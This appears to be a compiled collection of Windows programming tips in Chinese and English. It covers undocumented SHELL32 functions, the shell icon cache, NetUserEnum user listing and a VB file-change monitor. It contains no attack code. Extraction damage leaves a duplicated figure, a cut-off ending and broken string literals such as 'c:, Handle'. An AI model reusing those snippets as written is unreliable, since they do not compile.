insert operation could invalidate

that pointer.

The functions for deleting

items, DSA_DeleteItem and

DSA_DeleteAllItems (ordinals

326 and 327) are exactly the same

their DPA equivalents. This time,

though, you don't have to worry

BOOL WINAPI DSA_DeleteItem(

HDSA hArray,

int nPosition);

BOOL WINAPI DSA_DeleteAllItems(

HDSA hArray);

Figure 12 Functions for Deleting

about pointers needing to released.


安装输入法

uses IMM;

API ImmInstallIme(Ime文件名,Ime名称)即可安装

例如： ImmInstallIme('test.ime','test五笔');


shellexecute的参数

ShellExecute对文件的操作都有几种方式？我就知道有open,哪位给列举一下？

edit

explore

find

open

print

properties

实际上，这个参数决定于注册表中对文件类新的那个操作！比如某类文件.abc，注册有一个操作Test，那么就可以用Test参数！！！

EMail的参数：

EmailTo:收信人Email地址?subject=主题&cc=抄送&BCC=密件抄送&body=正文内容&file="文件名"

其中，file只对outlook起作用。


输入法API函数

附件>>>>> imeimes2.rar


枚举系统字体

怎样知道系统里有那些字体？

EnumFontFamilies

EnumFontFamiliesEx

ComboBox1.Items := Screen.Fonts;

试试这句，好像可以得到系统的所有字体。


获取NT用户列表

// The NetUserEnum function provides information about all user accounts on a server.

type

USER_INFO_1 = record

usri1_name: LPWSTR;

usri1_password: LPWSTR;

usri1_password_age: DWORD;

usri1_priv: DWORD;

usri1_home_dir: LPWSTR;

usri1_comment: LPWSTR;

usri1_flags: DWORD;

usri1_script_path: LPWSTR;

end;

lpUSER_INFO_1 = ^USER_INFO_1;

function NetUserEnum(ServerName: PWideChar;

Level,

Filter: DWord;

var Buffer: Pointer;

PrefMaxLen: DWord;

var EntriesRead,

TotalEntries,

ResumeHandle: DWord): LongWord; stdcall; external 'netapi32.dll';

function NetApiBufferFree(pBuffer: PByte): LongInt; stdcall; external

'netapi32.dll';

{...}

procedure TForm1.Button1Click(Sender: TObject);

var

EntiesRead: DWORD;

TotalEntries: DWORD;

UserInfo: lpUSER_INFO_1;

lpBuffer: Pointer;

ResumeHandle: DWord;

Counter: Integer;

NetApiStatus: LongWord;

begin

ResumeHandle := 0;

repeat

// NetApiStatus := NetUserEnum(PChar('\\NT-Domain'), 1, 0, lpBuffer, 0,EntiesRead, TotalEntries, ResumeHandle);

NetApiStatus := NetUserEnum(nil, 1, 0, lpBuffer, 0, EntiesRead,

TotalEntries, ResumeHandle);

UserInfo := lpBuffer;

for Counter := 0 to EntiesRead - 1 do

begin

listbox1.items.add(WideCharToString(UserInfo^.usri1_name) + ' --> ' +

WideCharToString(UserInfo^.usri1_comment));

Inc(UserInfo);

end;

NetApiBufferFree(lpBuffer);

until (NetApiStatus <> ERROR_MORE_DATA);

end;


清空回收站

Procedure EmptyRecycleBin ;

Const

SHERB_NOCONFIRMATION = $00000001 ;

SHERB_NOPROGRESSUI = $00000002 ;

SHERB_NOSOUND = $00000004 ;

Type

TSHEmptyRecycleBin = function (Wnd : HWND ;

LPCTSTR : PChar ;

DWORD : Word ) : Integer ; stdcall ;

Var

SHEmptyRecycleBin : TSHEmptyRecycleBin ;

LibHandle : THandle ;

Begin

LibHandle := LoadLibrary(PChar('Shell32.dll')) ;

If LibHandle <> 0 then

@SHEmptyRecycleBin := GetProcAddress(LibHandle, 'SHEmptyRecycleBinA')

Else

Begin

MessageDlg('Failed to load Shell32.dll.', mtError, [mbOK], 0);

Exit ;

End ;

If @SHEmptyRecycleBin <> nil then

SHEmptyRecycleBin(Application.Handle ,

'' ,

SHERB_NOCONFIRMATION or

SHERB_NOPROGRESSUI or

SHERB_NOSOUND ) ;

FreeLibrary(LibHandle);

@SHEmptyRecycleBin := nil ;

End ;


添加到开始菜单文档列表
SHAddToRecentDocs(SHARD_PATH, pChar(s));


清空开始菜单文档列表
SHAddtoRecentDocs(SHARD_PATH, nil);


制作显示自己图标的MessageBox

制作显示自己图标的MessageBox

//这个Tip是我从中国计算机报DelphiTips得到的，很有意思，于是便保存了下来。

function MessageBoxLg(Handle:integer;Text,Caption:String;flag:integer):integer;

var

Msg:TMsgBoxParams;

begin

Msg.cbSize:=Sizeof(Msg);

Msg.hwndOwner:=Handle;

Msg.hInstance:=hinstance;

Msg.lpszText:=PChar(Text);

Msg.lpszCaption:=PChar(Caption);

Msg.dwStyle:=flag+MB_USERICON;

Msg.lpszIcon:='MAINICON';

Msg.dwContextHelpId:=1;

Msg.lpfnMsgBoxCallback:=nil;

Msg.dwLanguageId:=LANG_NEUTRAL;

Result:=integer(MessageBoxIndirect(Msg));

end;


获取和设置计算机名字

{ Retrieve the computer name }

function GetComputerName: string;

var

buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of Char;

Size: Cardinal;

begin

Size := MAX_COMPUTERNAME_LENGTH + 1;

Windows.GetComputerName(@buffer, Size);

Result := StrPas(buffer);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(GetComputerName);

end;

{ Set the computer name }

function SetComputerName(AComputerName: string): Boolean;

var

ComputerName: array[0..MAX_COMPUTERNAME_LENGTH + 1] of Char;

Size: Cardinal;

begin

StrPCopy(ComputerName, AComputerName);

Result := Windows.SetComputerName(ComputerName);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if SetComputerName('NewComputerName') then

ShowMessage('Computer Name Reset Setting will be used at next startup.')

else

ShowMessage('Computer Name Not Reset');

end;


关闭Internet连接状态在SysTray中的图标

Hide the internet connection status from system tray?

uses

shellapi;

procedure TForm1.Button1Click(Sender: TObject);

var

nt: TNotifyIconData;

begin

with nt do

begin

cbSize := SizeOf(nt);

Wnd := FindWindow('#32770', nil);

uid := 0;

uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;

uCallbackMessage := WM_USER + 17;

hIcon := 0;

szTip := '';

end;

Shell_NotifyIcon(NIM_DELETE, @nt);

end;


文件属性对话框

function SHFileProperties(handle:hwnd;uflags:dword;name:pchar;str:pchar):dword;stdcall;external 'shell32.dll' index 178;

uFlags=1/2;

name:Filename;

str:好像不起作用

其实只是调用ShellExecuteEX

看下面的例子

function ShowFileProperties(FileName: String; Wnd: HWND):Boolean;

var

sfi: TSHELLEXECUTEINFO;

begin

with sfi do

begin

cbSize := SizeOf(sfi);

lpFile := PAnsiChar(FileName);

Wnd := Wnd;

fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_INVOKEIDLIST or SEE_MASK_FLAG_NO_UI;

lpVerb := PAnsiChar('properties');

lpIDList := nil;

lpDirectory := nil;

nShow := 0;

hInstApp := 0;

lpParameters := nil;

dwHotKey := 0;

hIcon := 0;

hkeyClass := 0;

hProcess := 0;

lpClass := nil;

end;

Result := ShellExecuteEX(@sfi);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowFileProperties('c:, Handle);

end;


更改图标对话框

SHChangeIconDialog(hwnd,filename,0,index);

function SHChangeIconDialog;external 'shell32.dll' index 62;

function SHChangeIconDialog(h:hwnd;filename:pchar; Reserved:integer;var index:integer):integer;stdcall;

{

procedure TForm1.Button1Click(Sender: TObject);

var

b:integer;

str:array[0..MAX_PATH] of char;

begin

b:=0;

if opendialog1.Execute then

begin

strpcopy(str,opendialog1.filename);

shChangeIconDialog(handle,str,0,b);

end;

showmessage(str);

end;

}

function SHChangeIconDialog(h:hwnd;filename:pchar; Reserved:integer;var index:integer):integer;stdcall;


The Shell Icon Cache

O n Windows 95, just about everything that you see has an icon associated with it. Every time the shell displays a folder full of files it needs to obtain icons for each of those items from somewhere. Considering the expense of such an operation, it's obviously not something that it would want to repeat unnecessarily.

By saving icons that it has already retrieved in a cache in memory, the shell is relieved of the need to constantly retrieve icons from disk. This can make a vast difference to the system performance, especially when accessing network drives and other slow media. The place where the shell stores its cached icons is called the System Imagelist,or Shell Icon Cache.

The Cache Structure

The cache is made up of a number of separate parts: adynamic structure array (called the icon table), a hash table,and two imagelists. The icons' location and other properties are stored in the icon table (the structure

can be see in Figure 1). The hash table isused to store the icon filenames so that they can be searched efficiently. The two imagelists contain the actual icon images -one list for the small icons, one for the

large.

struct {

LPCSTR lpszFileName;

UINT nFileIndex;

UINT uFlags;

UINT nImageListIndex;

UINT uAccessTime;

};

Figure 1 Icon Table Item Structure

The lpszFileName used in the icon

table isn't just a regular string pointer - it's

actually a pointer into the hash table. Since hash table pointers can be compared directly, without ha-

ving to resort to a string comparison, the process of sear-

ching the icon table is made considerably faster. Also note

that the filename stored in the hash table is just a filename,

not a full path. If you try to use icons from two different

DLLs with the same name, you are not going to get the

results you were expecting.

nFileIndex typically specifies the index of the icon (0

being the first icon in the file). It can also refer to a re-

source id though, in which case the value will be negated.

uFlags stores any GIL_ flags (see IExtractIcon::GetIcon-

Location) that were associated with the icon when it was

created. nImageListIndex is the index of the icon image in

the two image lists. uAccessTime specifies the last time

that the icon was accessed (the time is a relative mea-

surement in seconds, more or less).

The setup of the cache on NT is basically the same as

Windows 95, except for one fundamental difference. On

Windows 95, there is only one cache that is shared by the

entire system - on NT there is a separate icon cache for

each process. This means that an imagelist index from a

cache in one process will not necessarily refer to the same

icon in a different process. This can be a major problem for

shell functions that require an imagelist index (e.g. the

SHCNE_UPDATEIMAGE event).

Cache Lookups

You can add an icon to the cache with the undocumented

Shell_GetCachedImageIndex function (ordinal 72). As you

might has guessed it's ex-

ported from SHELL32.DLL

(see Figure 2 for the

function declaration).

lpszFileName points to a

null-terminated string spe-

cifying the name of an executable file, DLL, or icon file. nIconIndex specifies the

index of the icon to retrieve from the file (or resource id as

explained above). bSimulateDoc specifies whether to simu-

late a document icon or not.

int WINAPI Shell_GetCachedImageIndex(

LPCSTR lpszFileName,

UINT nIconIndex,

BOOL bSimulateDoc); shell32.dll index 72;

Figure 2 Shell_GetCachedImageIndex

The cache's icon table is searched to see if there is an

existing icon with the same filename and icon index. The

uFlags parameter must have the GIL_SIMULATEDOC flag

set if bSimulateDoc is TRUE. It must not have the GIL_

NOTFILENAME flag set though. All other flags are ignored.

If there isn't a matching icon in the icon table, a new entry

will be added. The function returns the icon's imagelist

index, or -1 if an error occured.

Of course the imagelist index isn't much use by itself -

usually you would need the handles of the two imagelists as

well. That's where the Shell_GetImageLists function comes

in (see Figure 3). It's also expor-

ted from SHELL32.DLL and the

ordinal is 71. lphimlLarge and

lphimlSmall point to variables

that will be filled in with the sys-

tem imagelist handles (do not attempt to destroy these handles). At the moment the

function will always returns TRUE, although future versions

may return FALSE in the event of an error.

BOOL WINAPI Shell_GetImageLists(

HIMAGELIST *lphimlLarge,

HIMAGELIST *lphimlSmall);

Figure 3 Shell_GetImageLists

Flushing Cache Entries

Obviously there's got to be a limit to the size of the cache,

but what happens when that limit is reached? Suprisingly,

nothing actually happens right away. However, every time

a shell window is closed, the shell will check the number of

icons in the cache. If it's over the limit and it has been more

than 15 minutes since the last time the cache was flushed,

the shell will attempt to free up some space.

The decision as to whether an item should be removed

from the cache is dependent on the last time the icon was

accessed and the amount of time since the last cache flush.

For example, if the cache was last flushed 20 minutes ago,

any item that has an access time older than 10 minutes will

be freed (10 minutes being half of 20). The entry isn't ac-

tually removed from the icon table though - all that happens

is that the uAccessTime member is set to zero.

Strictly speaking the entry isn't free to be reused yet. It

is still needed as a marker to show that the imagelist entry it

was using is now free. When the shell is looking for a free

entry in the imagelists it will search the icon table for any

item with an access time of zero, but with a non-zero

imagelist index. Once the imagelist entry has been reused,

both the uAccessTime member and the nImageListIndex

member can be set to zero. This marks the icon table entry

as free for reuse.

Flushing the Entire Cache

Other than freeing individual cache items, there are also

times when the entire cache needs to be cleared out. This

typically happens when you change the system icon size in

the Display Properties. Obviously the images in the image-

lists are now incorrectly sized, so the imagelists need to be

deleted and the whole cache rebuilt from scratch.

You can force a full cache flush by manually changing

the the icon size yourself to something one pixel smaller,

broadcasting WM_SETTINGCHANGE and then setting the

icon size back to normal again (obviously followed by

another WM_SETTINGCHANGE). The message broadcast is

typically done something like this:

SendMessageTimeout(

HWND_BROADCAST,

WM_SETTINGCHANGE,

SPI_SETNONCLIENTMETRICS,

(LPARAM)"WindowMetrics",

SMTO_NORMAL|SMTO_ABORTIFHUNG,

10000, NULL);

You alter the icon size by manually changing its value

in the registry. The key to look at is:

HKEY_CURRENT_USER\Control Panel\

Desktop\WindowMetrics

The values for the icon size are Shell Icon Size and

Shell Small Icon Size (both are stored as strings - not

DWORDs). You only need to change one of them to cause

the refresh to happen (typically the large icon size). If those

values don't exist, the shell uses the SM_CXICON metric

(GetSystemMetrics) as the default size for large icons, and

half of that for the small icon size. If you're trying to cause

a refresh and the registry entry doesn't exist, you can just

assume that the size is set to SM_CXICON.

Persistence

Up to now, we have only discussed the cache as it appears

in memory. There is also a disk-based storage area that

enables the cache to persist from one session to the next.

When the system is shutdown via the shell (not something

like ExitWindows), it will will attempt to save the cache to

disk before proceeding the actual shutdown. You can also

force the save operation by calling SHGetFileInfo with

pszPath set to NULL (on NT, though, the save operation will

only work from within the main shell process).

The disk cache is a hidden file in the windows directory

named ShellIconCache. It starts with a 60 byte header as

shown in Figure 4. Following that is a straight dump of the

icon table, including the 'free' entries.

Next come the actual strings for the

filenames (obviously the pointers in

the icon table are meaningless on

disk). NULL pointers are stored as

blank strings. Last of all come the

large and small imagelists, as stored

by the ImageList_Write function.

Most of the items in the header

are used to determine the validity of

the cache when reloading it. The

structure size is set to zero when the

operation is first started and only set

correctly once everything else has

been commited to disk. That way you

should never have to worry about a

save operation that failed halfway

through. Things like the color depth

and the icon size make sure that the

cache matches the current display set-

tings.

0000 Structure size.

0004 Signature. 0x346E6957 or 'Win4'.

0008 Windows version number.

000C Windows build number.

0010 Number of items in the icon table.

0014 System color resolution (bpp).

0018 Icon color resolution.

001C Large icon width.

0020 Large icon height.

0024 Small icon width.

0028 Small icon height.

002C Time file was saved (time units are

relative).

0030 Time of last flush.

0034 Number of free images in icon table.

0038 Number of free entries in icon table.

Figure 4 Disk Cache Header

There is one small catch to this

operation though. The shell will not

proceed with the save if the icon table

0000 Structure size.

0004 Signature. 0x346E6957 or 'Win4'.

0008 Windows version number.

000C Windows build number.

0010 Number of items in the icon table.

0014 System color resolution (bpp).

0018 Icon color resolution.

001C Large icon width.

0020 Large icon height.

0024 Small icon width.

0028 Small icon height.

002C Time file was saved (time units are

relative).

0030 Time of last flush.

0034 Number of free images in icon table.

0038 Number of free entries in icon table.

Figure 4 Disk Cache Header

is greater that the maximum size. However, as we've dis-

cussed earlier, the icon table never actually removes any

entries - it only marks them as being 'free' when they're

flushed. The result is that once the cache exceeds its maxi-

mum size, it will never be possible to save it (you could get

around this by doing a complete cache flush though).

Default Initialization

Typically when you start up your system, the shell will

initialize the cache from the disk storage. However, if the

disk-based cache doesn't exist, or the color resolution and

icon size settings are incorrect, the cache will have to be

initialized in some other way. Rather than just start off with

an empty cache, the shell initializes it with 42 system icons

(43 on NT).

For each of the icons, it checks for a value under the

following key:

HKEY_LOCAL_MACHINE\SOFTWARE\

Microsoft\Windows\CurrentVersion\

Explorer\Shell Icons

The value named '0' corresponds to the first icon, the

value '1' the second icon, etc. Those values are strings of

the form 'filename,iconindex' specifying the location of the

icon. If the value doesn't exist, or the

specified icon can not be loaded, the

system will use icon ids 1 to 42 from

SHELL32.DLL (on NT the 43rd icon has

the id 172). Regardless of where they

are located, though, the icon table will

always have SHELL32.DLL as the file-

name and 0 to 42 for the index values.

These system icons are of vital im-

portance to the shell. The folder icons,

the default file icons and the icons

used on the start menu are all obtained

from this set of icons (see Figure 5 for

some examples). These system icons

are also never flushed from the cache

so they are always guaranteed to be there. Indices 28, 29 and 30 are set as the first three over-

lay images for the imagelist.

0, 1 Document (blank/associated)

2 Application

3, 4 Folder (plain/open)

5-11 Various drive types

19-24 Start menu items

28-30 Overlay images

31, 32 Default recycle bin (empty/full)

36 Program group

42 Common program group

35, 37, 39 Settings menu items

Figure 5 Some of the System Icons

On NT, though, there are a couple of differences to this

initialization process. The undocumented function, FileIcon-

Init (see Figure 6), handles the cache initialization explicitly.

If you don't call FileIconInit, the first call to an icon-related

function (such as Shell_GetImageLists), will result in File-

IconInit being called with a parameter of

FALSE. This initializes the icon cache with

only the 3 overlay icons.

BOOL WINAPI FileIconInit(

BOOL bFullInit);

Figure 6 FileIconInit

If your application needs the cache

initialized with all the system icons it will have to call FileIconInit itself, with the bFullInit parameter

set to TRUE. This will initialize the cache with all 43 system

icons, or load the cache from disk if the disk-based cache is

available (the disk-based cache should always include the

system icons so it amounts to the same thing). You will also

need to call FileIconInit in response to any WM_SETTING-

CHANGE in case the icon size settings in the registry have

changed (as explained earlier, a size change would result in

a full cache flush).

FileIconInit is exported from SHELL32.DLL with an

ordinal value of 660, but it only exists on Windows NT. If

your application needs to run on Windows 95 as well as

Windows NT, you will have to link to it at run-time with

GetProcAddress. The function returns TRUE if the cache

was already initialized or the initialization was successful. If

the initialization fails, it will return FALSE.

Windows NT and Unicode Strings

As mentioned in previous articles, undocumented functions

on Windows NT typically require unicode strings where the

Windows 95 equivalent would use ansi. The only function

affected in this section is Shell_GetCachedImageIndex

which takes an LPCWSTR filename on NT.

This unicode difference also applies to certain internal

structures on NT. The filenames in the hash table are ob-

viously stored as unicode strings, and the same thing applies

to the filenames when saved to the disk-based cache.


未公开的API

windows未公开函数揭密——之二

上一次我向大家介绍了如何利用windows未公开函数实现关闭或重新启动windows的功能。在这一期内我要向大家介绍如何使用windows未公开函数实现调用windows系统中的一些对话框的功能。其中包括如何调用系统的“运行程序“对话框、”查找文件“对话框、更改与文件相关联的图标对话框等等。

首先在vb中建立一个新的工程文件，然后在form1中加入五个commandbutton控件，不要改变它们的属性，然后在form1的代码窗口中加入以下代码：

option explicit

private type browseinfo

hwndowner as long

pidlroot as long

pszdisplayname as long

lpsztitle as long

ulflags as long

lpfncallback as long

lparam as long

iimage as long

end type

const bif_returnonlyfsdirs = 1

const max_path = 260

private declare function shobjectproperties lib "shell32" alias "#178" _

(byval hwndowner as long, _

byval uflags as long, _

byval lpstrname as string, _

byval lpstrpar as string) as long

private declare sub cotaskmemfree lib "ole32.dll" (byval hmem as long)

private declare function shbrowseforfolder lib "shell32" (lpbi _

as browseinfo) as long

private declare function shfindfiles lib "shell32" alias "#90" _

(byval pidlroot as long, _

byval pidlsavedsearch as long) as long

private declare function getfilenamefrombrowse lib "shell32" alias "#63" ( _

byval hwndowner as long, _

byval lpstrfile as string, _

byval nmaxfile as long, _

byval lpstrinitdir as string, _

byval lpstrdefext as string, _

byval lpstrfilter as string, _

byval lpstrtitle as string) as long

private declare sub pickicondlg lib "shell32" alias "#62" (byval hwndowner as long, _

byval lpstrfile as string, byval nmaxfile as long, lpdwiconindex as long)

private declare function shrunfiledlg lib "shell32" alias "#61" _

(byval howner as long, _

byval hicon as long, _

byval lpstrdirectory as string, _

byval sztitle as string, _

byval szprompt as string, _

byval uflags as long) as long

private sub command1_click()

shrunfiledlg form1.hwnd, form1.icon.handle, "c:", "运行程序演示", _

"在文本框中输入程序名或按浏览键查找程序", 0

end sub

private sub command2_click()

dim a as long

dim astr as string

astr = "c:.exe"

pickicondlg form1.hwnd, astr, 1, a

end sub

private sub command3_click()

dim astr as string * 256

dim bstr as string

bstr = "c:"

getfilenamefrombrowse form1.hwnd, astr, 256, bstr, "*.txt", _

"文本文件 *.txt", "open sample"

debug.print astr

end sub

private sub command4_click()

dim lpidlist as long

dim udtbi as browseinfo

'初试化udtbi结构

with udtbi

.hwndowner = form1.hwnd

.ulflags = bif_returnonlyfsdirs

end with

'弹出文件夹查看窗口

lpidlist = shbrowseforfolder(udtbi)

if lpidlist then

'查找文件

shfindfiles lpidlist, 0

call cotaskmemfree(lpidlist)

end if

end sub

private sub command5_click()

shobjectproperties form1.hwnd, 2, "c:.exe", "samples"

end sub

private sub form_load()

command1.caption = "运行程序"

command2.caption = "更改图标"

command3.caption = "打开文件"

command4.caption = "查找文件"

command5.caption = "显示文件属性"

end sub

运行程序，分别点击不同的按钮，就可以看到不同的按钮实现了对不同的系统对话框的调用。

windows未公开函数揭密——之三

这次介绍的是如何利用windows未公开函数实现系统文件操作监视功能。利用该功能可以对windows下的任何文件操作，包括建立文件、文件夹；删除文件；改变文件大小等操作都可以纪录在案。

首先来介绍实现上面操作的两个未公开函数：shchangenotifyregister和shchangenotifyderegister，shchangenotifyregister函数的定义如下：

declare function shchangenotifyregister lib "shell32" alias "#2" _

(byval hwnd as long, _

byval uflags as shcn_itemflags, _

byval dweventid as shcn_eventids, _

byval umsg as long, _

byval citems as long, _

lpps as pidlstruct) as long

其中参数hwnd指定接受系统通告的窗口句柄，参数umsg指定消息值，如果函数调用成功，系统就会将hwnd指定的窗口加入到系统通告链中，并且返回系统通告句柄。当有建立文件等系统操作发生时，系统会向hwnd指定的窗口发送umsg消息，关于其它参数，会在下面的程序中说明。函数shchangenotifyderegister的定义如下：

declare function shchangenotifyderegister lib "shell32" alias "#4" _

(byval hnotify as long) as boolean

其中参数hnotify指定系统通告的句柄。

下面是操作的具体的vb范例：

首先建立一个新的工程，在form1中加入一个textbox控件。在form1的代码窗口之中加入以下代码：

option explicit

private sub form_load()

if subclass(hwnd) then '改变form1的消息处理函数

if iside then

text1.text = vbcrlf & _

"一个 windows的文件目录操作即时监视程序," & vbcrlf & "可以监视在explore中的重命名、新建、删除文" & _

vbcrlf & "件或目录；改变文件关联；插入、取出cd和添加" & vbcrlf & "删除网络共享都可以被该程序记录下来。"

end if

call shnotify_register(hwnd)

else

text1 = "系统不支持操作监视程序 :-)"

end if

move screen.width - width, screen.height - height

end sub

private function iside() as boolean

on error goto out

debug.print 1 / 0

out:

iside = err

end function

private sub form_unload(cancel as integer)

call shnotify_unregister

call unsubclass(hwnd)

end sub

public sub notificationreceipt(wparam as long, lparam as long)

dim sout as string

dim shns as shnotifystruct

dim sdisplayname1 as string

dim sdisplayname2 as string

movememory shns, byval wparam, len(shns)

if shns.dwitem1 then

sdisplayname1 = getdisplaynamefrompidl(shns.dwitem1)

end if

if shns.dwitem2 then

sdisplayname2 = getdisplaynamefrompidl(shns.dwitem2)

end if

sout = shnotify_geteventstr(sdisplayname1, sdisplayname2, lparam) & vbcrlf

text1 = text1 & sout & vbcrlf

text1.selstart = len(text1)

end sub

然后在工程中加入三个模块（bas）文件，将三个文件分别保存为mdef.bas、mshell.bas、msub.bas。在mdef.bas中加入以下代码：

'mdef.bas包含shell操作的函数和数据类型的定义

option explicit

declare sub movememory lib "kernel32" alias "rtlmovememory" (pdest as any, _

psource as any, byval dwlength as long)

declare sub cotaskmemfree lib "ole32.dll" (byval pv as long)

public const max_path = 260

public const noerror = 0

'shgetspecialfolderlocation获得某一个特殊的目录的位置,如果函数调用成功返回noerror

'或者一个ole错误

declare function shgetspecialfolderlocation lib "shell32.dll" _

(byval hwndowner as long, _

byval nfolder as shspecialfolderids, _

pidl as long) as long

public enum shspecialfolderids '列出所有windows下特殊文件夹的id

csidl_desktop = &h0

csidl_internet = &h1

csidl_programs = &h2

csidl_controls = &h3

csidl_printers = &h4

csidl_personal = &h5

csidl_favorites = &h6

csidl_startup = &h7

csidl_recent = &h8

csidl_sendto = &h9

csidl_bitbucket = &ha

csidl_startmenu = &hb

csidl_desktopdirectory = &h10

csidl_drives = &h11

csidl_network = &h12

csidl_nethood = &h13

csidl_fonts = &h14

csidl_templates = &h15

csidl_common_startmenu = &h16

csidl_common_programs = &h17

csidl_common_startup = &h18

csidl_common_desktopdirectory = &h19

csidl_appdata = &h1a

csidl_printhood = &h1b

csidl_altstartup = &h1d

csidl_common_altstartup = &h1e

csidl_common_favorites = &h1f

csidl_internet_cache = &h20

csidl_cookies = &h21

csidl_history = &h22

end enum

'shgetpathfromidlist函数将一个item转换为文件路径

declare function shgetpathfromidlist lib "shell32.dll" alias "shgetpathfromidlista" _

(byval pidl as long, _

byval pszpath as string) as long

'shgetfileinfopidl函数获得某个文件对象的信息。

declare function shgetfileinfopidl lib "shell32" alias "shgetfileinfoa" _

(byval pidl as long, _

byval dwfileattributes as long, _

psfib as shfileinfobyte, _

byval cbfileinfo as long, _

byval uflags as shgfi_flags) as long

public type shfileinfobyte

hicon as long

iicon as long

dwattributes as long

szdisplayname(1 to max_path) as byte

sztypename(1 to 80) as byte

end type

declare function shgetfileinfo lib "shell32" alias "shgetfileinfoa" _

(byval pszpath as string, _

byval dwfileattributes as long, _

psfi as shfileinfo, _

byval cbfileinfo as long, _

byval uflags as shgfi_flags) as long

public type shfileinfo

hicon as long

iicon as long

dwattributes as long

szdisplayname as string * max_path

sztypename as string * 80

end type

enum shgfi_flags

shgfi_largeicon = &h0

shgfi_smallicon = &h1

shgfi_openicon = &h2

shgfi_shelliconsize = &h4

shgfi_pidl = &h8

shgfi_usefileattributes = &h10

shgfi_icon = &h100

shgfi_displayname = &h200

shgfi_typename = &h400

shgfi_attributes = &h800

shgfi_iconlocation = &h1000

shgfi_exetype = &h2000

shgfi_sysiconindex = &h4000

shgfi_linkoverlay = &h8000

shgfi_selected = &h10000

end enum

'根据一个特定文件夹对象的id获得它的目录pidl

public function getpidlfromfolderid(howner as long, nfolder as shspecialfolderids) as long

dim pidl as long

if shgetspecialfolderlocation(howner, nfolder, pidl) = noerror then

getpidlfromfolderid = pidl

end if

end function

public function getdisplaynamefrompidl(pidl as long) as string

dim sfib as shfileinfobyte

if shgetfileinfopidl(pidl, 0, sfib, len(sfib), shgfi_pidl or shgfi_displayname) then

getdisplaynamefrompidl = getstrfrombuffera(strconv(sfib.szdisplayname, vbunicode))

end if

end function

public function getpathfrompidl(pidl as long) as string

dim spath as string * max_path

if shgetpathfromidlist(pidl, spath) then

getpathfrompidl = getstrfrombuffera(spath)

end if

end function

public function getstrfrombuffera(sz as string) as string

if instr(sz, vbnullchar) then

getstrfrombuffera = left$(sz, instr(sz, vbnullchar) - 1)

else

getstrfrombuffera = sz

end if

end function

在mshell.bas中加入以下代码：

'mshell.bas函数包含注册和反注册系统通告以及文件夹信息转换的函数

option explicit

private m_hshnotify as long '系统消息通告句柄

private m_pidldesktop as long

'定义系统通告的消息值

public const wm_shnotify = &h401

public type pidlstruct

pidl as long

bwatchsubfolders as long

end type

declare function shchangenotifyregister lib "shell32" alias "#2" _

(byval hwnd as long, _

byval uflags as shcn_itemflags, _

byval dweventid as shcn_eventids, _

byval umsg as long, _

byval citems as long, _

lpps as pidlstruct) as long

type shnotifystruct

dwitem1 as long

dwitem2 as long

end type

declare function shchangenotifyderegister lib "shell32" alias "#4" _

(byval hnotify as long) as boolean

declare sub shchangenotify lib "shell32" _

(byval weventid as shcn_eventids, _

byval uflags as shcn_itemflags, _

byval dwitem1 as long, _

byval dwitem2 as long)

public enum shcn_eventids

shcne_renameitem = &h1

shcne_create = &h2

shcne_delete = &h4

shcne_mkdir = &h8

shcne_rmdir = &h10

shcne_mediainserted = &h20

shcne_mediaremoved = &h40

shcne_driveremoved = &h80

shcne_driveadd = &h100

shcne_netshare = &h200

shcne_netunshare = &h400

shcne_attributes = &h800

shcne_updatedir = &h1000

shcne_updateitem = &h2000

shcne_serverdisconnect = &h4000

shcne_updateimage = &h8000&

shcne_driveaddgui = &h10000

shcne_renamefolder = &h20000

shcne_freespace = &h40000

shcne_assocchanged = &h8000000

shcne_diskevents = &h2381f

shcne_globalevents = &hc0581e0

shcne_allevents = &h7fffffff

shcne_interrupt = &h80000000

end enum

#if (win32_ie >= &h400) then

public const shcnee_orderchanged = &h2

#end if

public enum shcn_itemflags

shcnf_idlist = &h0

shcnf_patha = &h1

shcnf_printera = &h2

shcnf_dword = &h3

shcnf_pathw = &h5

shcnf_printerw = &h6

shcnf_type = &hff

shcnf_flush = &h1000

shcnf_flushnowait = &h2000

#if unicode then

shcnf_path = shcnf_pathw

shcnf_printer = shcnf_printerw

#else

shcnf_path = shcnf_patha

shcnf_printer = shcnf_printera

#end if

end enum

public function shnotify_register(hwnd as long) as boolean

dim ps as pidlstruct

if (m_hshnotify = 0) then

m_pidldesktop = getpidlfromfolderid(0, csidl_desktop)

if m_pidldesktop then

ps.pidl = m_pidldesktop

ps.bwatchsubfolders = true

'注册windows监视,将获得的句柄保存到m_hshnotify中

m_hshnotify = shchangenotifyregister(hwnd, shcnf_type or shcnf_idlist, _

shcne_allevents or shcne_interrupt, _

wm_shnotify, 1, ps)

shnotify_register = cbool(m_hshnotify)

else

call cotaskmemfree(m_pidldesktop)

end if

end if

end function

public function shnotify_unregister() as boolean

if m_hshnotify then

if shchangenotifyderegister(m_hshnotify) then

m_hshnotify = 0

call cotaskmemfree(m_pidldesktop)

m_pidldesktop = 0

shnotify_unregister = true

end if

end if

end function

public function shnotify_geteventstr(strpath1, strpath2 as string, dweventid as long) as string

dim sevent as string

select case dweventid

case shcne_renameitem: sevent = "重命名文件" + strpath1 + "为" + strpath2

case shcne_create: sevent = "建立文件 文件名：" + strpath1

case shcne_delete: sevent = "删除文件 文件名：" + strpath1

case shcne_mkdir: sevent = "新建目录 目录名：" + strpath1

case shcne_rmdir: sevent = "删除目录 目录名：" + strpath1

case shcne_mediainserted: sevent = strpath1 + "中插入可移动存储介质"

case shcne_mediaremoved: sevent = strpath1 + "中移去可移动存储介质"

case shcne_driveremoved: sevent = "移去驱动器" + strpath1

case shcne_driveadd: sevent = "添加驱动器" + strpath1

case shcne_netshare: sevent = "改变目录" + strpath1 + "的共享属性"

case shcne_updatedir: sevent = "更新目录" + strpath1

case shcne_updateitem: sevent = "更新文件 文件名：" + strpath1

case shcne_serverdisconnect: sevent = "断开与服务器的连" + strpath1 + " " + strpath2

case shcne_updateimage: sevent = "shcne_updateimage"

case shcne_driveaddgui: sevent = "shcne_driveaddgui"

case shcne_renamefolder: sevent = "重命名文件夹" + strpath1 + "为" + strpath2

case shcne_freespace: sevent = "磁盘空间大小改变"

case shcne_assocchanged: sevent = "改变文件关联"

end select

shnotify_geteventstr = sevent

end function

在msub.bas中加入以下代码：

'msub函数包括窗口的消息处理函数

option explicit

